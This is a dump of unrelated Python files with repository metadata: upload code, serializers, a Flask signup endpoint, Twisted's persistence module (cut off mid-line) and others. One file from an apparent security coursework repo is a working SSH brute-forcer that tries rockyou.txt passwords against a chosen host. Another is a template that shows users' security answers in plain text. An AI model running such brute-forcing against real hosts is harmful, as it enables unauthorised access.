if retry_count >= self._upload_retry_count: self._file.seek(0, 0) raise MaxRetriesExceededError( f"Max retries ({self._upload_retry_count}) exceeded while uploading part" f" {part_number} of {part_count} for file {filename}.") from err except Exception as ex: self._file.seek(0, 0) self._logger.exception(ex) raise def _retrieve_part_links(self, query_params): resp = self._client.list(upload_id=self._upload_id, query_params=query_params) return resp.json_body def _upload_part(self, bytes_chunk, part_number, returned_part): computed_hash = _get_bytes_hash(bytes_chunk) # Check if the file has already been uploaded and the hash matches. Return immediately without doing anything # if the hash matches. upload_hash = self._get_uploaded_part_hash(returned_part) if upload_hash and (repr(upload_hash) == repr(f"{computed_hash}")): # returned hash is not surrounded by '"' self._logger.debug(f"Part number {part_number} already uploaded. Skipping") return if upload_hash: raise UnrecoverableError(f'The file part {part_number} has been uploaded but the hash of the uploaded part ' f'does not match the hash of the current part read. Aborting.') if "upload_link" not in returned_part: raise KeyError(f"Invalid upload link for part {part_number}.") returned_part = returned_part["upload_link"] response = _upload_to_s3(bytes_chunk, returned_part) returned_hash = _get_returned_hash(response) if repr(returned_hash) != repr(f"\"{computed_hash}\""): # The returned hash is surrounded by '"' character raise DataIntegrityError("The hash of the uploaded file does not match with the hash on the server.") def _get_uploaded_part_hash(self, upload_link): upload_hash = upload_link.get("etag") return upload_hash def _mark_upload_completion(self): self._client.complete(self._upload_id) self._logger.info("Upload successful!") class SingleUpload: """ This class manages the operations related to the upload of a media file via a direct link. """ def __init__(self, upload_link, file, retry_count, upload_context: UploadContext): self._upload_link = upload_link self._upload_retry_count = retry_count self._file = file self._logger = logging.getLogger(self.__class__.__name__) self._upload_context = upload_context @property def upload_context(self): return self._upload_context @upload_context.setter def upload_context(self, value): self._upload_context = value def upload(self): """ Uploads the media file to the actual location as specified in the direct link. Returns: """ self._logger.debug(f"Starting to upload file:{self._file.name}") bytes_chunk = self._file.read() computed_hash = _get_bytes_hash(bytes_chunk) retry_count = 0 for _ in range(self._upload_retry_count): try: response = _upload_to_s3(bytes_chunk, self._upload_link) returned_hash = _get_returned_hash(response) # The returned hash is surrounded by '"' character if repr(returned_hash) != repr(f"\"{computed_hash}\""): raise DataIntegrityError( "The hash of the uploaded file does not match with the hash on the server.") self._logger.debug(f"Successfully uploaded file {self._file.name}.") return except (IOError, PartUploadError, DataIntegrityError, OSError) as err: self._logger.warning(err) self._logger.exception(err, stack_info=True) self._logger.warning(f"Encountered error uploading file {self._file.name}.") retry_count = retry_count + 1 if retry_count >= self._upload_retry_count: self._file.seek(0, 0) raise MaxRetriesExceededError(f"Max retries exceeded while uploading file {self._file.name}") \ from err except Exception as ex: self._file.seek(0, 0) self._logger.exception(ex) raise class DataIntegrityError(Exception): """ This class is used to wrap exceptions when the uploaded data failed a data integrity check with the current file part hash. """ pass class MaxRetriesExceededError(Exception): """ This class is used to wrap exceptions when the number of retries are exceeded while uploading a part. """ pass class PartUploadError(Exception): """ This class is used to wrap exceptions that occur because of part upload errors. """ pass class S3UploadError(PartUploadError): """ This class extends the PartUploadError exception class when the upload is done via S3. """ pass class UnrecoverableError(Exception): """ This class wraps exceptions that should not be recoverable or resumed from. """ pass

6,027

0

415

5449d8703937beaae96be29dfe6aa5cc9777ee9b

3,352

py

Python

catalog/cached_templates/templates/users.html.py

nateyj/colonial-heritage

1c7a4115b7bffed9b00c3375ece1641d308addf2

[ "Apache-2.0" ]

null

catalog/cached_templates/templates/users.html.py

nateyj/colonial-heritage

1c7a4115b7bffed9b00c3375ece1641d308addf2

[ "Apache-2.0" ]

null

catalog/cached_templates/templates/users.html.py

nateyj/colonial-heritage

1c7a4115b7bffed9b00c3375ece1641d308addf2

[ "Apache-2.0" ]

null

# -*- coding:ascii -*- from mako import runtime, filters, cache UNDEFINED = runtime.UNDEFINED __M_dict_builtin = dict __M_locals_builtin = locals _magic_number = 10 _modified_time = 1425177385.390867 _enable_loop = True _template_filename = '/Users/Nate/chf_dmp/account/templates/users.html' _template_uri = 'users.html' _source_encoding = 'ascii' import os, os.path, re _exports = ['content'] """ __M_BEGIN_METADATA {"source_encoding": "ascii", "uri": "users.html", "filename": "/Users/Nate/chf_dmp/account/templates/users.html", "line_map": {"64": 32, "65": 37, "66": 37, "35": 1, "68": 38, "74": 68, "45": 3, "27": 0, "67": 38, "52": 3, "53": 12, "54": 12, "55": 16, "56": 16, "57": 20, "58": 20, "59": 24, "60": 24, "61": 28, "62": 28, "63": 32}} __M_END_METADATA """

36.835165

333

0.605609

# -*- coding:ascii -*- from mako import runtime, filters, cache UNDEFINED = runtime.UNDEFINED __M_dict_builtin = dict __M_locals_builtin = locals _magic_number = 10 _modified_time = 1425177385.390867 _enable_loop = True _template_filename = '/Users/Nate/chf_dmp/account/templates/users.html' _template_uri = 'users.html' _source_encoding = 'ascii' import os, os.path, re _exports = ['content'] def _mako_get_namespace(context, name): try: return context.namespaces[(__name__, name)] except KeyError: _mako_generate_namespaces(context) return context.namespaces[(__name__, name)] def _mako_generate_namespaces(context): pass def _mako_inherit(template, context): _mako_generate_namespaces(context) return runtime._inherit_from(context, 'base.htm', _template_uri) def render_body(context, **pageargs): __M_caller = context.caller_stack._push_frame() try: __M_locals = __M_dict_builtin(pageargs=pageargs) user = context.get('user', UNDEFINED) def content(): return render_content(context._locals(__M_locals)) __M_writer = context.writer() __M_writer('\n\n') if 'parent' not in context._data or not hasattr(context._data['parent'], 'content'): context['self'].content(**pageargs) return '' finally: context.caller_stack._pop_frame() def render_content(context, **pageargs): __M_caller = context.caller_stack._push_frame() try: user = context.get('user', UNDEFINED) def content(): return render_content(context) __M_writer = context.writer() __M_writer( '\n\n<div>\n <h1 class="page-header text-left">My Account</h1>\n</div>\n\n<table id="users_table" class="table table-striped">\n <tr>\n <td>First Name</td>\n <td>') __M_writer(str(user.first_name)) __M_writer('</td>\n </tr>\n <tr>\n <td>Last Name</td>\n <td>') __M_writer(str(user.last_name)) __M_writer('</td>\n </tr>\n <tr>\n <td>Username</td>\n <td>') __M_writer(str(user.username)) __M_writer('</td>\n </tr>\n <tr>\n <td>Security Question</td>\n <td>') __M_writer(str(user.security_question)) __M_writer('</td>\n </tr>\n <tr>\n <td>Security Answer</td>\n <td>') __M_writer(str(user.security_answer)) __M_writer('</td>\n </tr>\n <tr>\n <td>Email</td>\n <td>') __M_writer(str(user.email)) __M_writer('</td>\n </tr>\n</table>\n\n<div>\n <a class="btn btn-primary" href="/account/users.edit/') __M_writer(str(user.id)) __M_writer('/">Edit</a>\n <a class="btn btn-primary" href="/account/users.delete/') __M_writer(str(user.id)) __M_writer('/">Delete</a>\n</div>\n\n') return '' finally: context.caller_stack._pop_frame() """ __M_BEGIN_METADATA {"source_encoding": "ascii", "uri": "users.html", "filename": "/Users/Nate/chf_dmp/account/templates/users.html", "line_map": {"64": 32, "65": 37, "66": 37, "35": 1, "68": 38, "74": 68, "45": 3, "27": 0, "67": 38, "52": 3, "53": 12, "54": 12, "55": 16, "56": 16, "57": 20, "58": 20, "59": 24, "60": 24, "61": 28, "62": 28, "63": 32}} __M_END_METADATA """

2,456

0

115

11d8435c09250104be6bc54f46e1e26899f5e541

9,456

py

Python

server/pages/post/modules/serializer.py

Danutu89/NewApp-V2

ffec4afc1bd0bb8663584b7baf6c7941b2c3f781

[ "MIT" ]

1

2020-05-26T20:36:39.000Z

server/pages/post/modules/serializer.py

Danutu89/NewApp-V2

ffec4afc1bd0bb8663584b7baf6c7941b2c3f781

[ "MIT" ]

4

2021-03-31T19:47:15.000Z

2022-03-12T00:31:17.000Z

server/pages/post/modules/serializer.py

Danutu89/NewApp-V2

ffec4afc1bd0bb8663584b7baf6c7941b2c3f781

[ "MIT" ]

null

from marshmallow import fields, Schema from marshmallow_sqlalchemy import SQLAlchemyAutoSchema, ModelSchema from models import Saved_Posts, Post_Likes, User_Following, User, Post_Info, Post, Post_Tags, Comment_Likes, Reply_Likes from sqlalchemy import and_ from .utilities import cleanhtml import re from app import db PostSchemaOnly = PostSchema(many=False)

25.626016

179

0.552453

from marshmallow import fields, Schema from marshmallow_sqlalchemy import SQLAlchemyAutoSchema, ModelSchema from models import Saved_Posts, Post_Likes, User_Following, User, Post_Info, Post, Post_Tags, Comment_Likes, Reply_Likes from sqlalchemy import and_ from .utilities import cleanhtml import re from app import db class AuthorLocation(Schema): country = fields.Method('getCountry') flag = fields.Method('getFlag') class Meta: fields = ( 'country', 'flag' ) def getCountry(self, obj): return obj.location.country def getFlag(self, obj): return obj.location.flag class PostTagSchema(Schema): class Meta: fields = ( 'name', 'color', 'icon' ) class PostTagsSchema(Schema): name = fields.Method('getName') color = fields.Method('getColor') icon = fields.Method('getIcon') class Meta: fields = ( 'name', 'color', 'icon' ) def getName(self, obj): return obj.tag.name def getColor(self, obj): return obj.tag.color def getIcon(self, obj): return obj.tag.icon class PostInfoMinSchema(Schema): posted_on = fields.Method('getTimeAgo') likes_count = fields.Method('getLikesCount') tags = fields.Nested(PostTagsSchema, many=True) class Meta: fields = ( 'thumbnail', 'posted_on', 'likes_count', 'tags', ) def getTimeAgo(self, obj): return obj.time_ago() def getLikesCount(self, obj): return len(obj.likes) class AuthorInfoMinSchema(Schema): full_name = fields.Method('getFullName') def getFullName(self, obj): return obj.first_name + ' ' + obj.last_name class Meta: fields = ( 'avatar_img', 'full_name' ) class AuthorMinSchema(Schema): info = fields.Nested(AuthorInfoMinSchema) class Meta: fields = ( 'name', 'info' ) class PostMinSchema(Schema): author = fields.Nested(AuthorMinSchema) info = fields.Nested(PostInfoMinSchema) saved = fields.Method('ifSaved') tags = fields.Nested(PostTagsSchema, many=True) class Meta: fields = ( 'title', 'read_time', 'author', 'info', 'link', 'saved', 'tags' ) def ifSaved(self, obj): currentUser = self.context.get('currentUser') if currentUser: if Saved_Posts.get().filter(and_(Saved_Posts.user==currentUser.id, Saved_Posts.post==obj.id)).first(): return True else: return False else: return False class RepliesSchema(Schema): author = fields.Nested(AuthorMinSchema) mentions = fields.Method('getMentions') userInfo = fields.Method('getUserInfo') class Meta: fields = ( 'author', 'text', 'mentions', 'id', 'userInfo' ) def getMentions(self, obj): m = [] mentions = re.findall("@([a-zA-Z0-9]{1,15})", cleanhtml(obj.text)) for mention in mentions: check = User.get().filter_by(name=mention).first() if check is not None: m.append(mention) return m def getUserInfo(self, obj): currentUser = self.context.get('currentUser') if currentUser: return { 'liked': True if Reply_Likes.get().filter(and_(Reply_Likes.author==currentUser.id, Post_Likes.post==obj.id)).first() is not None else False, 'mine': True if obj.author.id == currentUser.id else False, } else: return { 'liked': False, 'mine': False, } class CommentsSchema(Schema): author = fields.Nested(AuthorMinSchema) replies = fields.Nested(RepliesSchema, many=True) mentions = fields.Method('getMentions') userInfo = fields.Method('getUserInfo') class Meta: fields = ( 'author', 'text', 'replies', 'mentions', 'id', 'userInfo' ) def getMentions(self, obj): m = [] mentions = re.findall("@([a-zA-Z0-9]{1,15})", cleanhtml(obj.text)) for mention in mentions: check = User.get().filter_by(name=mention).first() if check is not None: m.append(mention) return m def getUserInfo(self, obj): currentUser = self.context.get('currentUser') if currentUser: return { 'liked': True if Comment_Likes.get().filter(and_(Comment_Likes.author==currentUser.id, Comment_Likes.comment==obj.id)).first() is not None else False, 'mine': True if obj.author.id == currentUser.id else False, } else: return { 'liked': False, 'mine': False, } class PostLikesSchema(Schema): name = fields.Method('getName') color = fields.Method('getColor') icon = fields.Method('getIcon') class Meta: fields = ( 'name', 'color', 'icon', ) def getName(self, obj): return obj.like.name def getColor(self, obj): return obj.like.color def getIcon(self, obj): return obj.like.icon class PostInfoSchema(Schema): posted_on = fields.Method('getTimeAgo') likes_count = fields.Method('getLikesCount') tags = fields.Nested(PostTagsSchema, many=True) description = fields.Method('getDesc') keywords = fields.Method('getKeywords') comments = fields.Nested(CommentsSchema, many=True) class Meta: fields = ( 'thumbnail', 'posted_on', 'likes_count', 'tags', 'text', 'description', 'keywords', 'closed', 'closed_on', 'closed_by', 'comments' ) def getTimeAgo(self, obj): return obj.time_ago() def getLikesCount(self, obj): return len(obj.likes) def getDesc(self, obj): return cleanhtml(obj.text)[:97] def getKeywords(self, obj): return ', '.join([key.tag.name for key in obj.tags]) class AuthorPersSchema(Schema): class Meta: fields = ( 'profession', ) class AuthorInfoSchema(Schema): full_name = fields.Method('getFullName') joined_on = fields.Method('getJoinedOn') class Meta: fields = ( 'avatar_img', 'full_name', 'joined_on' ) def getFullName(self, obj): return obj.first_name + ' ' + obj.last_name def getJoinedOn(self, obj): return str(obj.created_on.ctime())[:-14] + ' ' + str(obj.created_on.ctime())[20:] class LanguageSchema(Schema): class Meta: fields = ( 'code', 'name' ) class AuthorSchema(Schema): info = fields.Nested(AuthorInfoSchema) posts = fields.Nested(PostMinSchema, many=True) location = fields.Nested(AuthorLocation) language = fields.Nested(LanguageSchema) pers = fields.Nested(AuthorPersSchema) class Meta: fields = ( 'name', 'info', 'posts', 'location', 'pers', 'language' ) class PostLikes(Schema): class Meta: fields = ( 'author', 'info' ) class PostSchema(Schema): author = fields.Nested(AuthorSchema) info = fields.Nested(PostInfoSchema) userInfo = fields.Method('getUserInfo') class Meta: fields = ( 'title', 'read_time', 'author', 'info', 'link', 'userInfo', 'id' ) def getUserInfo(self, obj): currentUser = self.context.get('currentUser') if currentUser: return { 'liked': True if Post_Likes.get().filter(and_(Post_Likes.author==currentUser.id, Post_Likes.post==obj.id)).first() is not None else False, 'following': True if User_Following.get().filter(and_(User_Following.user==currentUser.id, User_Following.followed==obj.author.id)).first() is not None else False, 'mine': True if obj.author.id == currentUser.id else False, 'saved': True if Saved_Posts.get().filter(and_(Saved_Posts.user==currentUser.id, Saved_Posts.post==obj.id)).first() is not None else False } else: return { 'liked': False, 'mine': False, } PostSchemaOnly = PostSchema(many=False) class NewPostTagsSchema(ModelSchema): class Meta: model = Post_Tags include_fk = True sqla_session = db.session class NewPostInfoSchema(ModelSchema): tags = fields.Nested(NewPostTagsSchema, many=True) class Meta: model = Post_Info sqla_session = db.session class NewPostSchema(ModelSchema): info = fields.Nested(NewPostInfoSchema, many=False) class Meta: model = Post include_fk = True sqla_session = db.session

3,354

5,279

460

9738f0d9c5f112205aaf26af33856c4224875478

1,552

py

Python

ops_challenge/ops-challenge17/classes/ssh.py

jinwoov/Ops401

28db339e1edac31fb82640a76ebb01c4218984a0

[ "MIT" ]

null

ops_challenge/ops-challenge17/classes/ssh.py

jinwoov/Ops401

28db339e1edac31fb82640a76ebb01c4218984a0

[ "MIT" ]

null

ops_challenge/ops-challenge17/classes/ssh.py

jinwoov/Ops401

28db339e1edac31fb82640a76ebb01c4218984a0

[ "MIT" ]

null

import paramiko from time import sleep import os

32.333333

103

0.554768

import paramiko from time import sleep import os class AuthSSH(): def __init__(self): self.IP = self.get_IP() self.user_name = self.userInfo() def get_IP(self): getIP = input("What ip do you want to shell into? ") while(getIP == "" or getIP == None): getIP = input("Please put legit IP ") return getIP def userInfo(self): getUN = input("what is the username? ") while(getUN == "" or getUN == None): getUN = input("Please put legit username ") return getUN def ssh_connection(self): # client = paramiko.Transport((self.IP, 22)) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.crackPW(client) def crackPW(self,client): textFile = os.path.abspath("./rockyou.txt") file = open(textFile, "r") readfile = file.read().splitlines() print(self.user_name) for line in readfile: print(line) try: client.connect(hostname=self.IP, username=self.user_name, password=str(line), port= 22) print(f"Login was successful to {self.IP} using {str(line)}, you are now in") break except: print("Login failed :(") sleep(.5) continue stdin, stdout, stderr = client.exec_command("ping -c 3 8.8.8.8") print(stdout.read().splitlines()) client.close() return

1,326

-5

174

a8f8cf8794d61748699f9b0cce01ebd6f5e5d5ae

1,038

py

Python

app/v1/views/users.py

codeMarble254/storo-v1

6386afe9fc65a9f8fef86677b27d120b24dd6244

[ "MIT" ]

null

app/v1/views/users.py

codeMarble254/storo-v1

6386afe9fc65a9f8fef86677b27d120b24dd6244

[ "MIT" ]

null

app/v1/views/users.py

codeMarble254/storo-v1

6386afe9fc65a9f8fef86677b27d120b24dd6244

[ "MIT" ]

1

2018-12-09T20:43:35.000Z

'''This module manages all user endpoints(signup, login, logout etc)''' from flask import jsonify, make_response from flask_restful import Resource from werkzeug.security import generate_password_hash from .resources import Initialize from ..models.user import User from ..utils.users import Validation class Signup(Resource, Initialize): '''Handles user registration''' @staticmethod def post(): '''User signup endpoint''' data = Initialize.get_json_data() validate = Validation(data) validate.check_empty_keys() validate.check_empty_values() validate.check_number_of_fields() validate.check_signup_credentials() validate.check_already_exists() password = generate_password_hash( data["password"], method='sha256').strip() user = User(data["username"].strip(), data["email"].lower().strip(), password) user.save() return make_response(jsonify({"message": "Account created successfully"}), 201)

35.793103

87

0.683044

'''This module manages all user endpoints(signup, login, logout etc)''' from flask import jsonify, make_response from flask_restful import Resource from werkzeug.security import generate_password_hash from .resources import Initialize from ..models.user import User from ..utils.users import Validation class Signup(Resource, Initialize): '''Handles user registration''' @staticmethod def post(): '''User signup endpoint''' data = Initialize.get_json_data() validate = Validation(data) validate.check_empty_keys() validate.check_empty_values() validate.check_number_of_fields() validate.check_signup_credentials() validate.check_already_exists() password = generate_password_hash( data["password"], method='sha256').strip() user = User(data["username"].strip(), data["email"].lower().strip(), password) user.save() return make_response(jsonify({"message": "Account created successfully"}), 201)

0

f83dc914f243431baf9956b329f4b58d878d24e1

1,232

py

Python

training.py

Laleee/poke-gan

d93506d249ac37fc971ca6504053a9d3461ebf84

[ "MIT" ]

2

2021-08-07T17:31:37.000Z

2021-08-24T11:02:51.000Z

training.py

Laleee/poke-gan

d93506d249ac37fc971ca6504053a9d3461ebf84

[ "MIT" ]

null

training.py

Laleee/poke-gan

d93506d249ac37fc971ca6504053a9d3461ebf84

[ "MIT" ]

null

import torch import wandb from Trainer import Trainer MAX_SUMMARY_IMAGES = 4 DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu') assert torch.cuda.is_available() # LR = 2e-4 EPOCHS = 100 # BATCH_SIZE = 64 NUM_WORKERS = 4 # LAMBDA_L1 = 100 sweep_config = { 'method': 'bayes', # grid, random 'metric': { 'name': 'loss_g', 'goal': 'minimize' }, 'parameters': { 'lambda_l1': { 'values': [80, 90, 100, 110, 120, 130] }, 'batch_size': { 'values': [64] }, 'learning_rate': { 'values': [1e-5, 1e-4, 2e-4, 3e-4] } } } if __name__ == '__main__': sweep_id = wandb.sweep(sweep_config, project="poke-gan") wandb.agent(sweep_id, train_wrapper)

22.4

69

0.560877

import torch import wandb from Trainer import Trainer MAX_SUMMARY_IMAGES = 4 DEVICE = torch.device('cuda' if torch.cuda.is_available() else 'cpu') assert torch.cuda.is_available() # LR = 2e-4 EPOCHS = 100 # BATCH_SIZE = 64 NUM_WORKERS = 4 # LAMBDA_L1 = 100 sweep_config = { 'method': 'bayes', # grid, random 'metric': { 'name': 'loss_g', 'goal': 'minimize' }, 'parameters': { 'lambda_l1': { 'values': [80, 90, 100, 110, 120, 130] }, 'batch_size': { 'values': [64] }, 'learning_rate': { 'values': [1e-5, 1e-4, 2e-4, 3e-4] } } } if __name__ == '__main__': def train_wrapper(): wandb.init() config = wandb.config print(f'Config: {config}') trainer = Trainer( lr=config.learning_rate, device=DEVICE, batch_size=config.batch_size, epochs=EPOCHS, lambda_l1=config.learning_rate, dataloader_num_workers=NUM_WORKERS, max_summary_images=MAX_SUMMARY_IMAGES ) trainer.train() sweep_id = wandb.sweep(sweep_config, project="poke-gan") wandb.agent(sweep_id, train_wrapper)

422

0

26

81c8c30dcc284203bcb75fe068adfc4c4550705e

8,942

py

Python

lib/twisted/persisted/styles.py

Kagami/kisa

2597f67e519b8d66fec2684ff5a7726436bb029b

[ "CC0-1.0" ]

7

2015-04-28T13:26:11.000Z

2020-02-09T17:01:04.000Z

lib/twisted/persisted/styles.py

Kagami/kisa

2597f67e519b8d66fec2684ff5a7726436bb029b

[ "CC0-1.0" ]

null

lib/twisted/persisted/styles.py

Kagami/kisa

2597f67e519b8d66fec2684ff5a7726436bb029b

[ "CC0-1.0" ]

3

2015-03-10T20:56:17.000Z

2021-08-21T02:44:24.000Z

# -*- test-case-name: twisted.test.test_persisted -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Different styles of persisted objects. """ # System Imports import types import copy_reg import copy import inspect import sys try: import cStringIO as StringIO except ImportError: import StringIO # Twisted Imports from twisted.python import log from twisted.python import reflect oldModules = {} ## First, let's register support for some stuff that really ought to ## be registerable... def pickleMethod(method): 'support function for copy_reg to pickle method refs' return unpickleMethod, (method.im_func.__name__, method.im_self, method.im_class) def unpickleMethod(im_name, im_self, im_class): 'support function for copy_reg to unpickle method refs' try: unbound = getattr(im_class,im_name) if im_self is None: return unbound bound = types.MethodType(unbound.im_func, im_self, im_class) return bound except AttributeError: log.msg("Method",im_name,"not on class",im_class) assert im_self is not None,"No recourse: no instance to guess from." # Attempt a common fix before bailing -- if classes have # changed around since we pickled this method, we may still be # able to get it by looking on the instance's current class. unbound = getattr(im_self.__class__,im_name) log.msg("Attempting fixup with",unbound) if im_self is None: return unbound bound = types.MethodType(unbound.im_func, im_self, im_self.__class__) return bound copy_reg.pickle(types.MethodType, pickleMethod, unpickleMethod) def pickleModule(module): 'support function for copy_reg to pickle module refs' return unpickleModule, (module.__name__,) def unpickleModule(name): 'support function for copy_reg to unpickle module refs' if oldModules.has_key(name): log.msg("Module has moved: %s" % name) name = oldModules[name] log.msg(name) return __import__(name,{},{},'x') copy_reg.pickle(types.ModuleType, pickleModule, unpickleModule) def pickleStringO(stringo): 'support function for copy_reg to pickle StringIO.OutputTypes' return unpickleStringO, (stringo.getvalue(), stringo.tell()) if hasattr(StringIO, 'OutputType'): copy_reg.pickle(StringIO.OutputType, pickleStringO, unpickleStringO) if hasattr(StringIO, 'InputType'): copy_reg.pickle(StringIO.InputType, pickleStringI, unpickleStringI) class Ephemeral: """ This type of object is never persisted; if possible, even references to it are eliminated. """ versionedsToUpgrade = {} upgraded = {} def requireUpgrade(obj): """Require that a Versioned instance be upgraded completely first. """ objID = id(obj) if objID in versionedsToUpgrade and objID not in upgraded: upgraded[objID] = 1 obj.versionUpgrade() return obj def _aybabtu(c): """ Get all of the parent classes of C{c}, not including C{c} itself, which are strict subclasses of L{Versioned}. The name comes from "all your base are belong to us", from the deprecated L{twisted.python.reflect.allYourBase} function. @param c: a class @returns: list of classes """ # begin with two classes that should *not* be included in the # final result l = [c, Versioned] for b in inspect.getmro(c): if b not in l and issubclass(b, Versioned): l.append(b) # return all except the unwanted classes return l[2:] class Versioned: """ This type of object is persisted with versioning information. I have a single class attribute, the int persistenceVersion. After I am unserialized (and styles.doUpgrade() is called), self.upgradeToVersionX() will be called for each version upgrade I must undergo. For example, if I serialize an instance of a Foo(Versioned) at version 4 and then unserialize it when the code is at version 9, the calls:: self.upgradeToVersion5() self.upgradeToVersion6() self.upgradeToVersion7() self.upgradeToVersion8() self.upgradeToVersion9() will be made. If any of these methods are undefined, a warning message will be printed. """ persistenceVersion = 0 persistenceForgets = () def __getstate__(self, dict=None): """Get state, adding a version number to it on its way out. """ dct = copy.copy(dict or self.__dict__) bases = _aybabtu(self.__class__) bases.reverse() bases.append(self.__class__) # don't forget me!! for base in bases: if base.__dict__.has_key('persistenceForgets'): for slot in base.persistenceForgets: if dct.has_key(slot): del dct[slot] if base.__dict__.has_key('persistenceVersion'): dct['%s.persistenceVersion' % reflect.qual(base)] = base.persistenceVersion return dct def versionUpgrade(self): """(internal) Do a version upgrade. """ bases = _aybabtu(self.__class__) # put the bases in order so superclasses' persistenceVersion methods # will be called first. bases.reverse() bases.append(self.__class__) # don't forget me!! # first let's look for old-skool versioned's if self.__dict__.has_key("persistenceVersion"): # Hacky heuristic: if more than one class subclasses Versioned, # we'll assume that the higher version number wins for the older # class, so we'll consider the attribute the version of the older # class. There are obviously possibly times when this will # eventually be an incorrect assumption, but hopefully old-school # persistenceVersion stuff won't make it that far into multiple # classes inheriting from Versioned. pver = self.__dict__['persistenceVersion'] del self.__dict__['persistenceVersion'] highestVersion = 0 highestBase = None for base in bases: if not base.__dict__.has_key('persistenceVersion'): continue if base.persistenceVersion > highestVersion: highestBase = base highestVersion = base.persistenceVersion if highestBase: self.__dict__['%s.persistenceVersion' % reflect.qual(highestBase)] = pver for base in bases: # ugly hack, but it's what the user expects, really if (Versioned not in base.__bases__ and not base.__dict__.has_key('persistenceVersion')): continue currentVers = base.persistenceVersion pverName = '%s.persistenceVersion' % reflect.qual(base) persistVers = (self.__dict__.get(pverName) or 0) if persistVers: del self.__dict__[pverName] assert persistVers <= currentVers, "Sorry, can't go backwards in time." while persistVers < currentVers: persistVers = persistVers + 1 method = base.__dict__.get('upgradeToVersion%s' % persistVers, None) if method: log.msg( "Upgrading %s (of %s @ %s) to version %s" % (reflect.qual(base), reflect.qual(self.__class__), id(self), persistVers) ) method(self) else: log.msg( 'Warning: cannot upgrade %s to version %s' % (base, persistVers) )

34

148

0.630508

# -*- test-case-name: twisted.test.test_persisted -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Different styles of persisted objects. """ # System Imports import types import copy_reg import copy import inspect import sys try: import cStringIO as StringIO except ImportError: import StringIO # Twisted Imports from twisted.python import log from twisted.python import reflect oldModules = {} ## First, let's register support for some stuff that really ought to ## be registerable... def pickleMethod(method): 'support function for copy_reg to pickle method refs' return unpickleMethod, (method.im_func.__name__, method.im_self, method.im_class) def unpickleMethod(im_name, im_self, im_class): 'support function for copy_reg to unpickle method refs' try: unbound = getattr(im_class,im_name) if im_self is None: return unbound bound = types.MethodType(unbound.im_func, im_self, im_class) return bound except AttributeError: log.msg("Method",im_name,"not on class",im_class) assert im_self is not None,"No recourse: no instance to guess from." # Attempt a common fix before bailing -- if classes have # changed around since we pickled this method, we may still be # able to get it by looking on the instance's current class. unbound = getattr(im_self.__class__,im_name) log.msg("Attempting fixup with",unbound) if im_self is None: return unbound bound = types.MethodType(unbound.im_func, im_self, im_self.__class__) return bound copy_reg.pickle(types.MethodType, pickleMethod, unpickleMethod) def pickleModule(module): 'support function for copy_reg to pickle module refs' return unpickleModule, (module.__name__,) def unpickleModule(name): 'support function for copy_reg to unpickle module refs' if oldModules.has_key(name): log.msg("Module has moved: %s" % name) name = oldModules[name] log.msg(name) return __import__(name,{},{},'x') copy_reg.pickle(types.ModuleType, pickleModule, unpickleModule) def pickleStringO(stringo): 'support function for copy_reg to pickle StringIO.OutputTypes' return unpickleStringO, (stringo.getvalue(), stringo.tell()) def unpickleStringO(val, sek): x = StringIO.StringIO() x.write(val) x.seek(sek) return x if hasattr(StringIO, 'OutputType'): copy_reg.pickle(StringIO.OutputType, pickleStringO, unpickleStringO) def pickleStringI(stringi): return unpickleStringI, (stringi.getvalue(), stringi.tell()) def unpickleStringI(val, sek): x = StringIO.StringIO(val) x.seek(sek) return x if hasattr(StringIO, 'InputType'): copy_reg.pickle(StringIO.InputType, pickleStringI, unpickleStringI) class Ephemeral: """ This type of object is never persisted; if possible, even references to it are eliminated. """ def __getstate__(self): log.msg( "WARNING: serializing ephemeral %s" % self ) import gc if '__pypy__' not in sys.builtin_module_names: if getattr(gc, 'get_referrers', None): for r in gc.get_referrers(self): log.msg( " referred to by %s" % (r,)) return None def __setstate__(self, state): log.msg( "WARNING: unserializing ephemeral %s" % self.__class__ ) self.__class__ = Ephemeral versionedsToUpgrade = {} upgraded = {} def doUpgrade(): global versionedsToUpgrade, upgraded for versioned in versionedsToUpgrade.values(): requireUpgrade(versioned) versionedsToUpgrade = {} upgraded = {} def requireUpgrade(obj): """Require that a Versioned instance be upgraded completely first. """ objID = id(obj) if objID in versionedsToUpgrade and objID not in upgraded: upgraded[objID] = 1 obj.versionUpgrade() return obj def _aybabtu(c): """ Get all of the parent classes of C{c}, not including C{c} itself, which are strict subclasses of L{Versioned}. The name comes from "all your base are belong to us", from the deprecated L{twisted.python.reflect.allYourBase} function. @param c: a class @returns: list of classes """ # begin with two classes that should *not* be included in the # final result l = [c, Versioned] for b in inspect.getmro(c): if b not in l and issubclass(b, Versioned): l.append(b) # return all except the unwanted classes return l[2:] class Versioned: """ This type of object is persisted with versioning information. I have a single class attribute, the int persistenceVersion. After I am unserialized (and styles.doUpgrade() is called), self.upgradeToVersionX() will be called for each version upgrade I must undergo. For example, if I serialize an instance of a Foo(Versioned) at version 4 and then unserialize it when the code is at version 9, the calls:: self.upgradeToVersion5() self.upgradeToVersion6() self.upgradeToVersion7() self.upgradeToVersion8() self.upgradeToVersion9() will be made. If any of these methods are undefined, a warning message will be printed. """ persistenceVersion = 0 persistenceForgets = () def __setstate__(self, state): versionedsToUpgrade[id(self)] = self self.__dict__ = state def __getstate__(self, dict=None): """Get state, adding a version number to it on its way out. """ dct = copy.copy(dict or self.__dict__) bases = _aybabtu(self.__class__) bases.reverse() bases.append(self.__class__) # don't forget me!! for base in bases: if base.__dict__.has_key('persistenceForgets'): for slot in base.persistenceForgets: if dct.has_key(slot): del dct[slot] if base.__dict__.has_key('persistenceVersion'): dct['%s.persistenceVersion' % reflect.qual(base)] = base.persistenceVersion return dct def versionUpgrade(self): """(internal) Do a version upgrade. """ bases = _aybabtu(self.__class__) # put the bases in order so superclasses' persistenceVersion methods # will be called first. bases.reverse() bases.append(self.__class__) # don't forget me!! # first let's look for old-skool versioned's if self.__dict__.has_key("persistenceVersion"): # Hacky heuristic: if more than one class subclasses Versioned, # we'll assume that the higher version number wins for the older # class, so we'll consider the attribute the version of the older # class. There are obviously possibly times when this will # eventually be an incorrect assumption, but hopefully old-school # persistenceVersion stuff won't make it that far into multiple # classes inheriting from Versioned. pver = self.__dict__['persistenceVersion'] del self.__dict__['persistenceVersion'] highestVersion = 0 highestBase = None for base in bases: if not base.__dict__.has_key('persistenceVersion'): continue if base.persistenceVersion > 